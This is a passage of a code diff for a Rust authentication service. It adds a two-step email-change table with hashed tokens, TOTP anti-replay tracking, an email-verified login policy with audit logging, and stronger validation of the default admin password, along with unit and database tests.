41 + ColumnDef::new(PendingEmailChanges::TokenHash)
42 + .string()
43 + .string_len(64) // SHA-256 hex
44 + .not_null()
45 + .unique_key(),
46 + )
47 + .col(
48 + ColumnDef::new(PendingEmailChanges::ReportTokenHash)
49 + .string()
50 + .string_len(64) // SHA-256 hex, distinct from token_hash
51 + .not_null()
52 + .unique_key(),
53 + )
54 + .col(
55 + ColumnDef::new(PendingEmailChanges::ExpiresAt)
56 + .timestamp_with_time_zone()
57 + .not_null(),
58 + )
59 + .col(
60 + ColumnDef::new(PendingEmailChanges::UsedAt)
61 + .timestamp_with_time_zone()
62 + .null(),
63 + )
64 + .col(
65 + ColumnDef::new(PendingEmailChanges::ReportedAt)
66 + .timestamp_with_time_zone()
67 + .null(),
68 + )
69 + .col(
70 + ColumnDef::new(PendingEmailChanges::CreatedAt)
71 + .timestamp_with_time_zone()
72 + .not_null()
73 + .default(Expr::current_timestamp()),
74 + )
75 + .foreign_key(
76 + ForeignKey::create()
77 + .name("fk_pending_email_changes_user_id")
78 + .from(PendingEmailChanges::Table, PendingEmailChanges::UserId)
79 + .to(Users::Table, Users::Id)
80 + .on_delete(ForeignKeyAction::Cascade),
81 + )
82 + .to_owned(),
83 + )
84 + .await?;
85 +
86 + // Supports `invalidate_previous_requests` and the opportunistic purge,
87 + // both of which filter on user_id.
88 + manager
89 + .create_index(
90 + Index::create()
91 + .name("idx_pending_email_changes_user_id")
92 + .table(PendingEmailChanges::Table)
93 + .col(PendingEmailChanges::UserId)
94 + .to_owned(),
95 + )
96 + .await?;
97 +
98 + // Confirmation lookup (`confirm_change`). The column is already unique
99 + // but an explicit btree index documents intent and keeps EXPLAIN stable.
100 + manager
101 + .create_index(
102 + Index::create()
103 + .name("idx_pending_email_changes_token_hash")
104 + .table(PendingEmailChanges::Table)
105 + .col(PendingEmailChanges::TokenHash)
106 + .to_owned(),
107 + )
108 + .await?;
109 +
110 + // Report lookup (`report_suspicious`).
111 + manager
112 + .create_index(
113 + Index::create()
114 + .name("idx_pending_email_changes_report_token_hash")
115 + .table(PendingEmailChanges::Table)
116 + .col(PendingEmailChanges::ReportTokenHash)
117 + .to_owned(),
118 + )
119 + .await?;
120 +
121 + // Supports the retention purge `WHERE expires_at < now() - 30 days`.
122 + manager
123 + .create_index(
124 + Index::create()
125 + .name("idx_pending_email_changes_expires_at")
126 + .table(PendingEmailChanges::Table)
127 + .col(PendingEmailChanges::ExpiresAt)
128 + .to_owned(),
129 + )
130 + .await?;
131 +
132 + // `email_queue.email_type` is guarded by a CHECK constraint listing the
133 + // accepted values (see `m20260305_000001_initial_schema`). The four
134 + // types RFC 0041 enqueues are not in that list, so the whole flow would
135 + // fail at the first INSERT. The constraint is widened here rather than
136 + // dropped: an unknown `email_type` still has to be rejected.
137 + //
138 + // Raw SQL because `sea-query` cannot express a CHECK constraint in an
139 + // `ALTER TABLE`; same approach as the initial schema.
140 + manager
141 + .get_connection()
142 + .execute_unprepared(EMAIL_TYPE_CHECK_WITH_EMAIL_CHANGE)
143 + .await?;
144 +
145 + Ok(())
146 + }
147 +
148 + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> {
149 + manager
150 + .drop_table(Table::drop().table(PendingEmailChanges::Table).to_owned())
151 + .await?;
152 +
153 + // Narrow the constraint back, but only when no row still carries an
154 + // RFC 0041 type: a rollback must not destroy sent-mail history, and a
155 + // constraint left slightly wider than needed harms nothing once the
156 + // code that writes those types is gone.
157 + manager
158 + .get_connection()
159 + .execute_unprepared(EMAIL_TYPE_CHECK_ROLLBACK)
160 + .await?;
161 +
162 + Ok(())
163 + }
164 +}
165 +
166 +/// Widened `email_queue.email_type` CHECK constraint: the seven values of the
167 +/// initial schema plus the four RFC 0041 types.
168 +const EMAIL_TYPE_CHECK_WITH_EMAIL_CHANGE: &str = r#"
169 + ALTER TABLE email_queue
170 + DROP CONSTRAINT IF EXISTS chk_email_queue_email_type;
171 + ALTER TABLE email_queue
172 + ADD CONSTRAINT chk_email_queue_email_type
173 + CHECK (email_type IN (
174 + 'password_reset',
175 + 'email_validation',
176 + 'password_changed',
177 + 'account_modified',
178 + 'welcome',
179 + 'admin_new_user',
180 + 'notification',
181 + 'email_change_validation',
182 + 'email_change_notice',
183 + 'email_change_reported',
184 + 'email_change_by_admin'
185 + ));
186 +"#;
187 +
188 +/// Conditional rollback: restores the original list only when no queued or
189 +/// sent mail still uses an RFC 0041 type.
190 +const EMAIL_TYPE_CHECK_ROLLBACK: &str = r#"
191 + DO $$
192 + BEGIN
193 + IF NOT EXISTS (
194 + SELECT 1 FROM email_queue
195 + WHERE email_type IN (
196 + 'email_change_validation',
197 + 'email_change_notice',
198 + 'email_change_reported',
199 + 'email_change_by_admin'
200 + )
201 + ) THEN
202 + ALTER TABLE email_queue
203 + DROP CONSTRAINT IF EXISTS chk_email_queue_email_type;
204 + ALTER TABLE email_queue
205 + ADD CONSTRAINT chk_email_queue_email_type
206 + CHECK (email_type IN (
207 + 'password_reset',
208 + 'email_validation',
209 + 'password_changed',
210 + 'account_modified',
211 + 'welcome',
212 + 'admin_new_user',
213 + 'notification'
214 + ));
215 + END IF;
216 + END
217 + $$;
218 +"#;
219 +
220 +#[derive(Iden)]
221 +enum PendingEmailChanges {
222 + Table,
223 + Id,
224 + UserId,
225 + NewEmail,
226 + TokenHash,
227 + ReportTokenHash,
228 + ExpiresAt,
229 + UsedAt,
230 + ReportedAt,
231 + CreatedAt,
232 +}
233 +
234 +#[derive(Iden)]
235 +enum Users {
236 + Table,
237 + Id,
238 +}
M crates/rustwarden-core/src/migrations/mod.rs
+6 -0
@@ -49,6 +49,10 @@ pub mod m20260422_000007_create_personal_access_tokens;
49 49 pub mod m20260423_000008_create_teams;
50 50 /// Migration 9: fediverse interop columns and `remote_identities` table.
51 51 pub mod m20260510_000009_fediverse_interop;
52 +/// Migration 10: nullable `user_totp.last_used_step` anti-replay column (RFC 0037).
53 +pub mod m20260918_000010_totp_last_used_step;
54 +/// Migration 11: `pending_email_changes` table for two-step email change (RFC 0041).
55 +pub mod m20260919_000011_pending_email_changes;
52 56
53 57 use sea_orm_migration::prelude::*;
54 58
@@ -64,6 +68,8 @@ pub fn core_migrations() -> Vec<Box<dyn MigrationTrait>> {
64 68 Box::new(m20260422_000007_create_personal_access_tokens::Migration),
65 69 Box::new(m20260423_000008_create_teams::Migration),
66 70 Box::new(m20260510_000009_fediverse_interop::Migration),
71 + Box::new(m20260918_000010_totp_last_used_step::Migration),
72 + Box::new(m20260919_000011_pending_email_changes::Migration),
67 73 ]
68 74 }
69 75
M crates/rustwarden-core/src/models/mod.rs
+3 -0
@@ -21,6 +21,8 @@ pub mod oauth_account;
21 21 pub mod password_change_request;
22 22 /// Password reset token entity.
23 23 pub mod password_reset_token;
24 +/// Pending email-change request entity (two-step email change, RFC 0041).
25 +pub mod pending_email_change;
24 26 /// Permission entity for RBAC.
25 27 pub mod permission;
26 28 /// Personal access token entity (long-lived API credentials).
@@ -63,6 +65,7 @@ pub use jwt_blacklist::Entity as JwtBlacklist;
63 65 pub use oauth_account::Entity as OauthAccount;
64 66 pub use password_change_request::Entity as PasswordChangeRequest;
65 67 pub use password_reset_token::Entity as PasswordResetToken;
68 +pub use pending_email_change::Entity as PendingEmailChange;
66 69 pub use permission::Entity as Permission;
67 70 pub use personal_access_token::Entity as PersonalAccessToken;
68 71 pub use refresh_token::Entity as RefreshToken;
A crates/rustwarden-core/src/models/pending_email_change.rs
+171 -0
@@ -0,0 +1,171 @@
1 +use chrono::{DateTime, Utc};
2 +use sea_orm::entity::prelude::*;
3 +use serde::{Deserialize, Serialize};
4 +use uuid::Uuid;
5 +
6 +/// PendingEmailChange entity model.
7 +///
8 +/// Holds an email-change request that has **not** been applied yet. Until the
9 +/// confirmation is submitted, `users.email` keeps its current — verified —
10 +/// value: the account is never left pointing at an unproven address.
11 +///
12 +/// # Security features
13 +///
14 +/// - Two independent SHA-256 hashes: `token_hash` (confirmation, mailed to the
15 +/// new address) and `report_token_hash` (abuse report, mailed to the current
16 +/// address). Plain tokens are never stored.
17 +/// - Expiration: reuses `EMAIL_VALIDATION_EXPIRATION_HOURS` (24 h by default).
18 +/// - Single use: `used_at` is set when the change is applied.
19 +/// - Cascade delete: rows are removed when the user is deleted.
20 +///
21 +/// # Request lifecycle
22 +///
23 +/// 1. **Creation**: two UUID v4 tokens are generated, hashed and stored with an
24 +/// expiration; the plain tokens are only ever sent by email.
25 +/// 2. **Confirmation**: the owner of `new_email` submits the confirmation form,
26 +/// `users.email` is written and `used_at` is set.
27 +/// 3. **Report**: the owner of the *current* address may flag the request —
28 +/// `reported_at` is set, but the change is never blocked.
29 +/// 4. **Cleanup**: rows expired for longer than the retention window are
30 +/// hard-deleted (the durable audit trail lives in `audit_logs`).
31 +#[derive(Clone, Debug, Serialize, Deserialize, DeriveEntityModel)]
32 +#[sea_orm(table_name = "pending_email_changes")]
33 +pub struct Model {
34 + /// Unique identifier for the request.
35 + #[sea_orm(primary_key, auto_increment = false)]
36 + pub id: Uuid,
37 +
38 + /// User this request belongs to.
39 + #[sea_orm(indexed)]
40 + pub user_id: Uuid,
41 +
42 + /// Candidate address. Written to `users.email` only on confirmation.
43 + pub new_email: String,
44 +
45 + /// SHA-256 hash of the confirmation token (sent to `new_email`).
46 + #[sea_orm(unique, indexed)]
47 + pub token_hash: String,
48 +
49 + /// SHA-256 hash of the report token (sent to the current address).
50 + #[sea_orm(unique, indexed)]
51 + pub report_token_hash: String,
52 +
53 + /// Expiration timestamp.
54 + #[sea_orm(indexed)]
55 + pub expires_at: DateTime<Utc>,
56 +
57 + /// Set when the change has been applied. `None` while pending.
58 + pub used_at: Option<DateTime<Utc>>,
59 +
60 + /// Set when the current address owner flagged the request as suspicious.
61 + /// Informational only — it never blocks the change.
62 + pub reported_at: Option<DateTime<Utc>>,
63 +
64 + /// Creation timestamp.
65 + pub created_at: DateTime<Utc>,
66 +}
67 +
68 +/// SeaORM relations for the PendingEmailChange entity.
69 +#[derive(Copy, Clone, Debug, EnumIter, DeriveRelation)]
70 +pub enum Relation {
71 + /// Relationship to User entity.
72 + #[sea_orm(
73 + belongs_to = "super::user::Entity",
74 + from = "Column::UserId",
75 + to = "super::user::Column::Id",
76 + on_delete = "Cascade"
77 + )]
78 + User,
79 +}
80 +
81 +impl Related<super::user::Entity> for Entity {
82 + fn to() -> RelationDef {
83 + Relation::User.def()
84 + }
85 +}
86 +
87 +impl ActiveModelBehavior for ActiveModel {}
88 +
89 +impl Model {
90 + /// Returns `true` once the expiration timestamp has passed.
91 + pub fn is_expired(&self) -> bool {
92 + Utc::now() > self.expires_at
93 + }
94 +
95 + /// Returns `true` once the change has been applied.
96 + pub fn is_used(&self) -> bool {
97 + self.used_at.is_some()
98 + }
99 +
100 + /// Returns `true` while the request can still be confirmed.
101 + pub fn is_pending(&self) -> bool {
102 + !self.is_used() && !self.is_expired()
103 + }
104 +
105 + /// Returns `true` once the current address owner flagged the request.
106 + ///
107 + /// Purely informational: a reported request stays confirmable (see
108 + /// [`EmailChangeService::report_suspicious`](crate::services::email_change_service::EmailChangeService::report_suspicious)).
109 + pub fn is_reported(&self) -> bool {
110 + self.reported_at.is_some()
111 + }
112 +}
113 +
114 +#[cfg(test)]
115 +mod tests {
116 + use super::*;
117 + use chrono::Duration;
118 +
119 + /// Build a model whose `expires_at` / `used_at` are set by the caller.
120 + fn model(expires_in_hours: i64, used: bool) -> Model {
121 + let now = Utc::now();
122 + Model {
123 + id: Uuid::new_v4(),
124 + user_id: Uuid::new_v4(),
125 + new_email: "candidate@example.test".to_string(),
126 + token_hash: "a".repeat(64),
127 + report_token_hash: "b".repeat(64),
128 + expires_at: now + Duration::hours(expires_in_hours),
129 + used_at: if used { Some(now) } else { None },
130 + reported_at: None,
131 + created_at: now,
132 + }
133 + }
134 +
135 + #[test]
136 + fn truth_table_pending_used_expired() {
137 + // fresh + unused → pending
138 + let fresh = model(24, false);
139 + assert!(!fresh.is_expired());
140 + assert!(!fresh.is_used());
141 + assert!(fresh.is_pending());
142 +
143 + // fresh + used → not pending
144 + let used = model(24, true);
145 + assert!(!used.is_expired());
146 + assert!(used.is_used());
147 + assert!(!used.is_pending());
148 +
149 + // expired + unused → not pending
150 + let expired = model(-1, false);
151 + assert!(expired.is_expired());
152 + assert!(!expired.is_used());
153 + assert!(!expired.is_pending());
154 +
155 + // expired + used → not pending
156 + let both = model(-1, true);
157 + assert!(both.is_expired());
158 + assert!(both.is_used());
159 + assert!(!both.is_pending());
160 + }
161 +
162 + #[test]
163 + fn reported_flag_does_not_affect_pending() {
164 + let mut reported = model(24, false);
165 + assert!(!reported.is_reported());
166 + reported.reported_at = Some(Utc::now());
167 + assert!(reported.is_reported());
168 + // RFC 0041: a report alerts, it never blocks.
169 + assert!(reported.is_pending());
170 + }
171 +}
M crates/rustwarden-core/src/models/user_totp.rs
+7 -0
@@ -27,6 +27,12 @@ pub struct Model {
27 27 pub backup_codes_remaining: i32,
28 28 /// Timestamp when 2FA was enabled
29 29 pub enabled_at: Option<DateTime<Utc>>,
30 + /// Last TOTP time-step (`unix_epoch / 30`) that was successfully consumed.
31 + ///
32 + /// `None` until the first accepted code after this column exists.
33 + /// Updated through a conditional compare-and-set `UPDATE` so the same
34 + /// step is rejected on every replica (anti-replay, RFC 0037).
35 + pub last_used_step: Option<i64>,
30 36 /// Creation timestamp
31 37 pub created_at: DateTime<Utc>,
32 38 /// Last update timestamp
@@ -71,6 +77,7 @@ mod tests {
71 77 backup_codes_encrypted: None,
72 78 backup_codes_remaining: 0,
73 79 enabled_at: None,
80 + last_used_step: None,
74 81 created_at: now,
75 82 updated_at: now,
76 83 };
M crates/rustwarden-core/src/services/auth_service.rs
+231 -10
@@ -95,17 +95,47 @@ impl AuthService {
95 95 Ok(user)
96 96 }
97 97
98 - /// Authenticate user and return the model with must_change_password flag
98 + /// Authenticate a user for login (credentials + email-verified policy).
99 99 ///
100 100 /// The `identifier` parameter accepts either a username or an email address.
101 101 ///
102 - /// This is a higher-level authentication method that:
103 - /// 1. Verifies credentials
104 - /// 2. Logs if user must change password (but does NOT block login)
102 + /// This is the single authentication gate used by the HTTP `login`
103 + /// handler and by any consumer application (SSR, custom handlers) that
104 + /// calls the service directly. It performs, in order:
105 105 ///
106 - /// The caller (login handler) is responsible for including
107 - /// `must_change_password` in the response so the frontend can
108 - /// redirect the user to a password-change page.
106 + /// 1. [`Self::verify_credentials`] — timing-safe password check.
107 + /// 2. Logs when `must_change_password` is set (does NOT block login).
108 + /// The caller is responsible for surfacing the flag so the frontend
109 + /// can redirect the user to a password-change page.
110 + /// 3. Email-verified policy (RFC 0040): when the app setting
111 + /// `validation_email_required` (legacy alias
112 + /// `validation_email_requise`, default `true`) is enabled and the
113 + /// user's email is not verified, the attempt is recorded via
114 + /// [`log_blocked_login`](crate::services::auth_logging::AuthLoggingService::log_blocked_login)
115 + /// and rejected with [`AppError::Validation`]. A settings lookup
116 + /// failure is treated as "verification required" (fail-closed).
117 + ///
118 + /// Use [`Self::verify_credentials`] directly for password-only
119 + /// re-authentication flows (e.g. TOTP setup) that must not apply the
120 + /// email-verified policy.
121 + ///
122 + /// # Errors
123 + ///
124 + /// - [`AppError::InvalidCredentials`] — unknown identifier or wrong
125 + /// password (checked before the email policy, so there is no
126 + /// "account exists but unverified" oracle).
127 + /// - [`AppError::Validation`] — email not verified while the policy
128 + /// is active.
129 + ///
130 + /// # Example
131 + ///
132 + /// ```ignore
133 + /// use rustwarden_core::services::auth_service::AuthService;
134 + ///
135 + /// // Requires a live database connection.
136 + /// let user = AuthService::authenticate_user(&db, "alice", "s3cret-pass!").await?;
137 + /// assert!(user.email_verified);
138 + /// ```
109 139 pub async fn authenticate_user(
110 140 db: &DatabaseConnection,
111 141 identifier: &str,
@@ -117,16 +147,207 @@ impl AuthService {
117 147 tracing::info!("User {} should change password (flag set)", user.username);
118 148 }
119 149
150 + // RFC 0040: enforce the email-verified policy at the service level so
151 + // direct service callers cannot bypass it. Fail-closed: if the
152 + // settings lookup errors, verification is required.
153 + let email_validation_required =
154 + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
155 + db,
156 + &EMAIL_VALIDATION_SETTING_KEYS,
157 + true,
158 + )
159 + .await
160 + .unwrap_or(true);
161 +
162 + if email_validation_required && !user.email_verified {
163 + tracing::warn!(
164 + "Login attempt blocked (unverified email): {} ({})",
165 + user.username,
166 + user.email
167 + );
168 + // Best-effort audit trail, never stores secrets. RFC 0040 v1:
169 + // no `hooks` parameter — the audit_logs row is still written.
170 + // Failures are already traced inside `log_blocked_login`.
171 + let _ = crate::services::auth_logging::AuthLoggingService::log_blocked_login(
172 + db,
173 + &user.email,
174 + "email_not_verified",
175 + None,
176 + )
177 + .await;
178 + return Err(AppError::Validation(
179 + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(),
180 + ));
181 + }
182 +
120 183 Ok(user)
121 184 }
122 185 }
123 186
187 +/// App-settings keys (current name + legacy French alias) controlling whether
188 +/// login requires a verified email (RFC 0040). Shared with the test helpers.
189 +const EMAIL_VALIDATION_SETTING_KEYS: [&str; 2] =
190 + ["validation_email_required", "validation_email_requise"];
191 +
124 192 #[cfg(test)]
125 193 mod tests {
194 + //! RFC 0040 tests: `authenticate_user` enforces the email-verified policy.
195 + //!
196 + //! Note on the "setting off" case (`validation_email_required=false` →
197 + //! unverified user logs in): it is intentionally NOT covered here. The
198 + //! setting is global shared state in the dev database; tests run in
199 + //! parallel, so flipping it would race with the default-policy test below
200 + //! (and with any other login test), and a panic between "set false" and
201 + //! "restore" would silently leave the security policy disabled in the dev
202 + //! DB. The fail-closed default (`unwrap_or(true)`, absent → required) is
203 + //! covered by `authenticate_user_blocks_unverified_email_when_policy_active`.
204 + //!
205 + //! Also intentionally not covered: the RFC's `DbErr` lookup-failure case
206 + //! (`unwrap_or(true)` makes it equivalent to the absent-setting case above)
207 + //! and the admin-bootstrap login (the seed sets `email_verified=true`,
208 + //! asserted in `default_admin_service`).
209 +
126 210 use super::*;
211 + use crate::models::audit_log;
212 + use crate::services::app_settings_service::AppSettingsService;
213 + use crate::services::user_service::UserService;
214 + use sea_orm::{ActiveModelTrait, ModelTrait, Set};
215 + use uuid::Uuid;
216 +
217 + async fn test_db() -> DatabaseConnection {
218 + dotenvy::dotenv().ok();
219 + let url =
220 + std::env::var("DATABASE_URL").expect("DATABASE_URL required for auth_service tests");
221 + sea_orm::Database::connect(&url).await.unwrap()
222 + }
223 +
224 + const TEST_PASSWORD: &str = "TestPassword1!";
225 +
226 + /// Exact user-facing message returned by `authenticate_user` when the
227 + /// email-verified policy blocks the login. The UI displays this string
228 + /// verbatim (`err.error` / `err.message`) — keep in sync with the
229 + /// implementation.
230 + const UNVERIFIED_MSG: &str = "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.";
231 +
232 + /// Create a unique test user. `create_user` leaves `email_verified=false`.
233 + async fn create_test_user(db: &DatabaseConnection) -> user::Model {
234 + let unique = Uuid::new_v4().simple().to_string();
235 + let hash = PasswordService::hash_password(TEST_PASSWORD).await.unwrap();
236 + UserService::create_user(
237 + db,
238 + format!("authsvc-{}", &unique[..8]),
239 + format!("authsvc-{}@example.com", &unique[..8]),
240 + hash,
241 + false,
242 + )
243 + .await
244 + .unwrap()
245 + }
246 +
247 + /// True when the email-verified policy is currently effective in the
248 + /// shared dev DB (setting absent → default true, i.e. fail-closed).
249 + async fn email_policy_active(db: &DatabaseConnection) -> bool {
250 + AppSettingsService::get_bool_with_fallback(db, &EMAIL_VALIDATION_SETTING_KEYS, true)
251 + .await
252 + .unwrap_or(true)
253 + }
254 +
255 + // ── happy path: verified user, valid password ───────────────────────────
256 +
257 + #[tokio::test]
258 + async fn authenticate_user_ok_when_email_verified() {
259 + let db = test_db().await;
260 + let created = create_test_user(&db).await;
261 + let mut active: user::ActiveModel = created.into();
262 + active.email_verified = Set(true);
263 + let user = active.update(&db).await.unwrap();
264 +
265 + let result = AuthService::authenticate_user(&db, &user.username, TEST_PASSWORD).await;
266 + assert!(
267 + result.is_ok(),
268 + "verified user with valid password must authenticate: {:?}",
269 + result.err()
270 + );
271 + assert_eq!(result.unwrap().id, user.id);
272 +
273 + user.delete(&db).await.unwrap();
274 + }
275 +
276 + // ── wrong password: fails before the email policy (no oracle) ──────────
277 +
278 + #[tokio::test]
279 + async fn authenticate_user_wrong_password_no_email_oracle() {
280 + let db = test_db().await;
281 + // Unverified account: a wrong password must yield the generic
282 + // InvalidCredentials, never the Validation "email not verified"
283 + // message (which would confirm the account exists).
284 + let user = create_test_user(&db).await;
285 +
286 + match AuthService::authenticate_user(&db, &user.username, "WrongPassword1!").await {
287 + Err(AppError::InvalidCredentials) => {}
288 + other => panic!("expected InvalidCredentials, got {:?}", other),
289 + }
290 +
291 + user.delete(&db).await.unwrap();
292 + }
293 +
294 + // ── policy: unverified email blocked + audit_logs row ───────────────────
295 +
296 + #[tokio::test]
297 + async fn authenticate_user_blocks_unverified_email_when_policy_active() {
298 + let db = test_db().await;
299 + // The policy setting is global shared state: skip (never mutate it)
300 + // if an operator disabled it in this dev DB.
301 + if !email_policy_active(&db).await {
302 + eprintln!("skipping: validation_email_required disabled in this dev DB");
303 + return;
304 + }
305 +
306 + let user = create_test_user(&db).await;
307 + assert!(!user.email_verified, "create_user must start unverified");
308 +
309 + match AuthService::authenticate_user(&db, &user.username, TEST_PASSWORD).await {
310 + Err(AppError::Validation(msg)) => assert_eq!(msg, UNVERIFIED_MSG),
311 + other => panic!("expected AppError::Validation, got {:?}", other),
312 + }
313 +
314 + // A `login_blocked` / `email_not_verified` audit row must be written.
315 + let logs = audit_log::Entity::find()
316 + .filter(audit_log::Column::Action.eq("login_blocked"))
317 + .filter(audit_log::Column::Message.contains(&user.email))
318 + .all(&db)
319 + .await
320 + .unwrap();
321 + assert!(
322 + logs.iter()
323 + .any(|l| l.message.contains("email_not_verified")),
324 + "expected an audit_logs row login_blocked/email_not_verified for {}",
325 + user.email
326 + );
327 +
328 + // Clean up only the rows this test created (unique email).
329 + for log in logs {
330 + log.delete(&db).await.unwrap();
331 + }
332 + user.delete(&db).await.unwrap();
333 + }
334 +
335 + // ── non-regression: verify_credentials has no email policy (TOTP path) ──
336 +
337 + #[tokio::test]
338 + async fn verify_credentials_ok_for_unverified_email() {
339 + let db = test_db().await;
340 + let user = create_test_user(&db).await; // email_verified = false
341 +
342 + // Password-only re-auth (TOTP setup) must keep working for
343 + // unverified accounts.
344 + let result = AuthService::verify_credentials(&db, &user.username, TEST_PASSWORD).await;
345 + assert!(
346 + result.is_ok(),
347 + "verify_credentials must not apply the email-verified policy: {:?}",
348 + result.err()
349 + );
127 350
128 - #[test]
129 - fn test_auth_service_exists() {
130 - let _service = AuthService;
351 + user.delete(&db).await.unwrap();
131 352 }
132 353 }
M crates/rustwarden-core/src/services/default_admin_service.rs
+70 -1
@@ -64,8 +64,13 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
64 64 return Ok(());
65 65 }
66 66
67 + validate_new_admin_credentials(&config, password)?;
68 +
67 69 let password_hash = PasswordService::hash_password(password).await?;
68 - let user = UserService::create_user(
70 + // Use the bootstrap path: ADMIN_USERNAME defaults to "admin" which is a
71 + // reserved name. create_user_allow_reserved accepts it while still
72 + // enforcing charset and length rules.
73 + let user = UserService::create_user_allow_reserved(
69 74 db,
70 75 config.username.clone(),
71 76 config.email.clone(),
@@ -92,3 +97,67 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
92 97
93 98 Ok(())
94 99 }
100 +
101 +/// Validates `ADMIN_*` credentials immediately before creating the default admin.
102 +///
103 +/// Must be used only on the create path. Skip paths (`CREATE_DEFAULT_ADMIN=false`,
104 +/// an admin already exists, or the username exists without the admin role) must not
105 +/// call this, so a leftover weak `ADMIN_PASSWORD` in production `.env` does not
106 +/// prevent boot.
107 +pub(crate) fn validate_new_admin_credentials(
108 + config: &AdminConfig,
109 + password: &str,
110 +) -> Result<(), AppError> {
111 + config
112 + .validate()
113 + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?;
114 + crate::middleware::password_complexity::PasswordRules::default()
115 + .validate(password)
116 + .map_err(|errs| AppError::Validation(errs.join("; ")))?;
117 + Ok(())
118 +}
119 +
120 +#[cfg(test)]
121 +mod tests {
122 + use super::*;
123 +
124 + fn config_with_password(password: &str) -> AdminConfig {
125 + AdminConfig {
126 + username: "admin".into(),
127 + email: "admin@localhost".into(),
128 + password: Some(password.into()),
129 + }
130 + }
131 +
132 + #[test]
133 + fn validate_new_admin_credentials_rejects_weak_password() {
134 + let password = "password";
135 + let config = config_with_password(password);
136 + let err = validate_new_admin_credentials(&config, password)
137 + .expect_err("literal password must fail create-path validation");
138 + match err {
139 + AppError::Internal(_) | AppError::Validation(_) => {}
140 + other => panic!("expected Internal or Validation, got {other:?}"),
141 + }
142 + }
143 +
144 + #[test]
145 + fn validate_new_admin_credentials_rejects_placeholder() {
146 + let password = "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT";
147 + let config = config_with_password(password);
148 + let err = validate_new_admin_credentials(&config, password)
149 + .expect_err("CLI placeholder must fail create-path validation");
150 + match err {
151 + AppError::Internal(_) => {}
152 + other => panic!("expected Internal from AdminConfig::validate, got {other:?}"),
153 + }
154 + }
155 +
156 + #[test]
157 + fn validate_new_admin_credentials_accepts_strong_mixed() {
158 + let password = "CorrectHorse1";
159 + let config = config_with_password(password);
160 + validate_new_admin_credentials(&config, password)
161 + .expect("mixed case plus digit must pass create-path validation");
162 + }
163 +}
A crates/rustwarden-core/src/services/email_change_service.rs
+2988 -0
@@ -0,0 +1,2988 @@
1 +//! Two-step email change service (RFC 0041).
2 +//!
3 +//! Nothing is ever written to `users.email` before possession of the candidate
4 +//! address is proven. A request lands in `pending_email_changes` (hashed
5 +//! tokens + expiration), the account keeps its current — verified — address,
6 +//! and the previous mailbox is informed with a report link.
7 +//!
8 +//! The only path that writes an address without that proof is
9 +//! [`EmailChangeService::admin_force_change`](crate::services::email_change_service::EmailChangeService::admin_force_change),
10 +//! restricted to the `admin` role
11 +//! and traced in `audit_logs`.
12 +
13 +use crate::config::email::EmailConfig;
14 +use crate::error::AppError;
15 +use crate::hooks::{AuditEvent, RustwardenHooks};
16 +use crate::i18n::service::I18nService;
17 +use crate::models::{audit_log, pending_email_change, user};
18 +use crate::services::auth_service::AuthService;
19 +use crate::services::email_queue_service::EmailQueueService;
20 +use crate::services::email_sanitization::{mask_email, sanitize_email_content};
21 +use crate::services::password_change_service::PasswordChangeService;
22 +use crate::services::rate_limit_service::RateLimitService;
23 +use crate::services::refresh_token_service::RefreshTokenService;
24 +use crate::services::user_preferences_service::UserPreferencesService;
25 +use crate::services::user_service::UserService;
26 +use crate::templates::email_templates::{
27 + EmailChangeByAdminTemplate, EmailChangeNoticeTemplate, EmailChangeReportedAdminTemplate,
28 + EmailChangeValidationTemplate,
29 +};
30 +use chrono::{Datelike, Duration, Utc};
31 +use sea_orm::{
32 + ActiveModelTrait, ColumnTrait, Condition, DatabaseConnection, EntityTrait, NotSet, QueryFilter,
33 + Set,
34 +};
35 +use sha2::{Digest, Sha256};
36 +use std::collections::HashMap;
37 +use std::sync::Arc;
38 +use std::sync::OnceLock;
39 +use std::time::Duration as StdDuration;
40 +use uuid::Uuid;
41 +
42 +/// Default: 3 email-change requests per user per hour.
43 +const EMAIL_CHANGE_RATE_LIMIT_MAX: u32 = 3;
44 +/// Sliding window backing [`EMAIL_CHANGE_RATE_LIMIT_MAX`].
45 +const EMAIL_CHANGE_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600);
46 +
47 +/// Retention of `pending_email_changes` rows, in days after expiration.
48 +///
49 +/// Compile-time constant on purpose: RFC 0041 adds **no** environment
50 +/// variable. Past this delay a row carries no operational value — the durable
51 +/// trail lives in `audit_logs` with masked addresses — while `new_email` is
52 +/// personal data kept in clear text.
53 +pub const PENDING_EMAIL_CHANGE_RETENTION_DAYS: i64 = 30;
54 +
55 +/// Error surfaced when the candidate address was claimed by another account
56 +/// between the request and its confirmation.
57 +const EMAIL_NO_LONGER_AVAILABLE: &str =
58 + "This email address is no longer available. Request the change again with a different address.";
59 +
60 +/// Process-wide sliding-window limiter for email-change requests.
61 +///
62 +/// Distinct from the password-reset and email-validation limiters so the three
63 +/// flows keep separate budgets.
64 +static EMAIL_CHANGE_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
65 +
66 +/// Return the process-wide email-change limiter, initializing it once.
67 +fn shared_email_change_limiter() -> RateLimitService {
68 + EMAIL_CHANGE_LIMITER
69 + .get_or_init(|| {
70 + let limiter = RateLimitService::new();
71 + if let Ok(handle) = tokio::runtime::Handle::try_current() {
72 + handle.spawn(
73 + limiter
74 + .clone()
75 + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)),
76 + );
77 + } else {
78 + tracing::warn!("email-change limiter: no tokio runtime, cleanup_loop not started");
79 + }
80 + limiter
81 + })
82 + .clone()
83 +}
84 +
85 +/// Read-only state of a link token, as reported to an interstitial page.
86 +///
87 +/// Returned by [`EmailChangeService::inspect_confirmation_token`] and
88 +/// [`EmailChangeService::inspect_report_token`] so a `GET` can display a
89 +/// useful message **without any side effect**: a consumer replacing the
90 +/// built-in pages with its own reuses the same read-only check.
91 +#[derive(Debug, Clone, Copy, PartialEq, Eq)]
92 +pub enum EmailChangeLinkState {
93 + /// The token matches a pending request: the form may be displayed.
94 + Usable,
95 + /// No request carries this token.
96 + Unknown,
97 + /// The request exists but its expiration has passed.
98 + Expired,
